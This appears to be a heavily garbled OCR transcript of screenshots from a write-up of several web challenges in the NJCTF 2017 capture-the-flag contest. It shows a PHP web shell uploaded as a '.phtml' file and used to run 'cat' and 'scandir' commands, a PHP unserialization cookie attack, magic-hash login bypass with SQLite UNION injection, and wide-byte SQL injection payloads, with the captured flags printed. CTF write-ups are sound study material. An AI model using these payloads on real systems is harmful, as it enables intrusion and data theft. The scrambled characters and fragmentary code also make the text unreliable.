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User Login

Mot registered? Create an account
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we search the database, and you are adminasdasdx .
you are not admin, | won't give you the flag!
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we search the database, and you are admin .
welcome, admin. your flag is NJCTF{4R3 YOu 7H3 Red41 aDM1N?}

Get Flag
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1.jpga

4 Load URL | cat:images/1jpga: No such file or directory
% split URL

b Execute

Enable Post data [ | Enable Referrer

Post data

<html>
<head>
</head>
<body>
<{img src=data:imase,/pngz;basebd, Y2F00iBpbWFnZMvMS50ctdh0iB0byBzdWNoIGIphGlUsb3IeZ61vZWNOL3TS" />
</body>
</html>

K fcat i
FIFIs J cat fir 4 $kflag
€ (O 218.2.197.235:23719/upload/f4610909f21461e2bf3a757e413b86d0.phtmi?a=echo exec('cat fjvar/www @ 8 C
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NJCTF{Every7hing_1s_a r3gular_att4ck}

Text wall
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{?php
$lists = [];
Class filelist{
public function _ toString()

{
return highlight file( hiehiehie. txt’, true). highlight file($this—>source, true);
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= filelist();
->source =
= filelist();

->source = >

shal(serialize(?v)).serialize(’v);
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<?php
//The flag is /var/www
/PnK76P1IDFYSKrwsIrhlpl3c6XI3fj7E_fldg
$lists = [];
Class filelist{
public function __toString()

{
}

return highlight_file('hiehiehie.txt", true).highlight_file($this->source, true);

FTIF 31 e 2 flag

233333333333333333333333333333333333333333333333333333333333333333
NJCTF{PHP_unSerialization_a77ack_i5_very_ Interes71lng}

|nienienie || submit

# Y { > |)=| Ema HTML css B DOM  [E | Cookies v
@ | Cookies ~ 1iEss ~ Euh (EZFE =7 cockie) ~

| &R HE | 1 | B
PHPSESSID c43hg12fe 12gbmracvf77ngak4 218.2.197.235 358
lists 6daf3d3f31fb2fedde5f2d9a.. . hipl3c6X13G7E_fl4g™;}} 218.2.197.235 219B
Wallet

X% TR 2 AR N

PE— SR B
BRI T IHi%index.php.bak
VR N, R R
EEIMT



(shail((string) ) == md5((string) )) {

3

setcookie( . )5

setcookie( , shal((string):<));

[ D) A
SQLite3( , SQLITE3_OPEN_READONLY);

SQLITE3::escapeString( [ 1);

->querySingle( )5
== )
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Eikadmin

Welcome to the admin panel!

Wallet ID: | | submit query

# O € > V= mms HTML css BE DOM IS | Cookies v
\# | Cookies » JTiEsE ~ Fih (EZFE—F cookie) -

| & | P | &
auth Z0 218.2,197.235
hsh 218.2,197.235

$2 T SRR R L sqlite VA
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group_concat(tbl_name) sqlite_master limit 1, -- B&FE

sqlite_master tbl_name= type=
group_concat(id) flag limit

€ (0 218.2.197.235:23723/admin.php?query=1 union select id from flag limit 1,1

Wallet contains: NJCTF{Th3_m1xtu2e OF M4gic HaS5h_@nd 5Qlite InJec7ion}
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Hurp Intruder Hepeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options. T User options TAIerLs ]

Target: http://218.2.197.235:23719 | &| | 7

Request
Raw | Params | Headers | Hex Raw | Headers | Hex

POST fupload.php HITE/L. 1 “ HTTP/L.1 202 Found i

Host: 127.0.0.1 Date: Sat, 18 Mar Z017 13:21:33 GMT -

User-Agent: Mozilla/5.0 (Windows NT €.3; rv:26.0) Gecko/IZ0Ll0010L Server: Apache/Z.4.10 (Debian)

Firefox/36.04 ¥-Powered-By: PHP/5.E.30

Accept: text/htul,application/xhtml+xnl,application/xml;q=0.9,*%/%;q=0.8 Expires: Thu, 19 Now 1981 08:52:00 GMT

Accept-Language: zh—CH,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Accept-Encoding: gzip, deflate Pragma: no-cache

Beferer: http://218.2.1587.235:23715/index_php?act=user Set-Cookie:

Cookie: auth=QWNKCDZI0; hsh=aarocZmlk; piclist=a%3AC% A TEi$2A03EsE2A43%3A%22uploads ZFE428E57e48bo24191861e80e3lon3 130,

PHPSESSID Th0f0a03c8ladsdle439doacis0ldd; PR ZIFSBi% ALY 3ESY SA43 A% I Tuploads CF958350d83aL5a89166429586cel0Zfaad. png¥Z2% 3E

piclist=a%3A1%3A%TBit3A0%3Bs ¥ 3A43%3A 2 Tuploads2FB42857e45be34191586 18031 $70; expires=Mon, 17-Apr-I017 13:21:34 GMT; Max-Age=ZE552000

ce3l3cl . png$22%3B% 7D Location: index.php?act=user

Commection: close Content-Length: 0

Upgrade-Insecure—Reguests: 1 Connection: close

Content-Type: multipart/form-data; Content-Type: text/html; charset=UTF-8

boundar E4F704511432

Content-Length: 7203 - -

v v

0 matches 0 matches

596 bytes | 528 millis

AR, X T .php345 .inc .phtml .phpt .phps & .phtmla] LERT, oAl #ATT

Upgrade-Insecure-Bequests: 1 H-Powered-By: PHE/5.E.320
Content-Type: multipart/form-data; Expires: Thu, 19 Now 1981 08:5I2:00 GMT
boundary 228593080124516 Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Content-Length: 221 pre-chech
Pragma: no-cache

228E530801C2451E Set-Cockie:
Content-Disposition: form-data; name="pic"; filename="1l.phtnl" Ppiclist=at3ATt A TEit 2A08 3Es%3A43% A% 2 Tuploads ZFE4285724Ebe24151E6leBoe3loe3l
Content-Type: image/png 30l pngtll%3Bit3A1%3Bst 23R40 34 Tuploadk CFBT2S3 £ fe2T763T7d96499828ak06ekh5a53 p

html1%27%3B%70D; expires=Mon, 17-Apr-7017 13:4&:38 GMT; Max-Age=2552000

<geript language='php'> Location: index.php?act=user
echo 1; Content-Length: 0
<fscripts Connection: close

2285930801245916— Content-Type: text/html; charsec=UTF-8
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

GET A HTTP/1.1 Z00 0K
Jupload/f4610909f21461elb£2a757e413b8Ed0. phtul?a=print_r (scandiri'. /. Y - Date: Sun, 12 Mar 2017 11:4£:35 GMT
HTTP/1.1 Server: Apache/2.4.10 (Debian)
Host: Z218.2_1597.235:23719 ¥-Powered-By: PHP/5.E.320
User-Agent: Mozilla/5.0 (Windows NT £.3; rv:26.0) Gecko /20100101 Vary: Accept-Encoding
Firefox/36.04 Content-Length: 107
Accept: text/html, application/xhtml+txml, application/xml;q=0.9, */*;q=0.8 Comnection: close
Accept-Langquage: zh-CN,zh;q=0.8,en-US3;q=0.5 en;q=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate
Cookie: PHPEESSID=kgsésibérfghfdhapatkijjmm0; Array
piclist=a%3A3%3A%7Bi%CA0%3Ess3A43%3A% 2 uploads ZFI0fE0fladB47£76ceT7I055150ET 0 {
BEE.png% 2% 3Bi%2A1%3Es3A43%3A% 2 Tuploads JFE2aa493201 056402 £57d4815861e£8d45 . pn [0l == .
g% 2% 3Bi% AT 3EsE3A43%3A% Tuploads 2Fe5d55h0a05551bSacl££30eT72dadll 79 . pngd Il 3 [11 => ..
E:TD [2] => RAOVUTWIDET:>nltv2g565JLpJE11TEmEBL thi5 flag
Connection: close [3]1 => html
Upgrade-Insecure-Eegquests: 1 ¥

print_r(scandir(“/opt/lampp/htdocs”))
exec( )

print_r(scandir( D)

Be admin
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[1 entry]
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error_reporting();
define(
define(

B}

session_start();

+){
.=chr(rand(’, ));

3

= get_random_token();

openssl_encrypt(%i, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,
[ ] = base64_encode(c);

setcookie( , base64 _encode(’c));

setcookie( , base64_encode( ))s

(0 === ) €

[ 1))
()
( [ 1) A
base64 decode( [ D;

= openssl _decrypt(®c, METHOD, SECRET_KEY,

OPENSSL_RAW_DATA, base64 decode(
( = ) 1

= base64_decode(




J
substr( );
= openssl_decrypt( , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, )3

bl

3

printf(
(

[ 1) &&

(string) [ 15
(string) [ 15

->query( ) trigger_error( ->error .
->fetch_assoc()) {




&& login(

get _identity();
show_homepage();

{

need_login(

{
test_identity();

( ( [ IDDAR

show_homepage();

{

need_login();
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Come On
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1%df' || if(1=1,1,0)%23 HEEAILIET <> or and
Bk, FBORAHRM

1%df' || exists(select(flag)from(flag))%23
GO, FHMETAAKENEE
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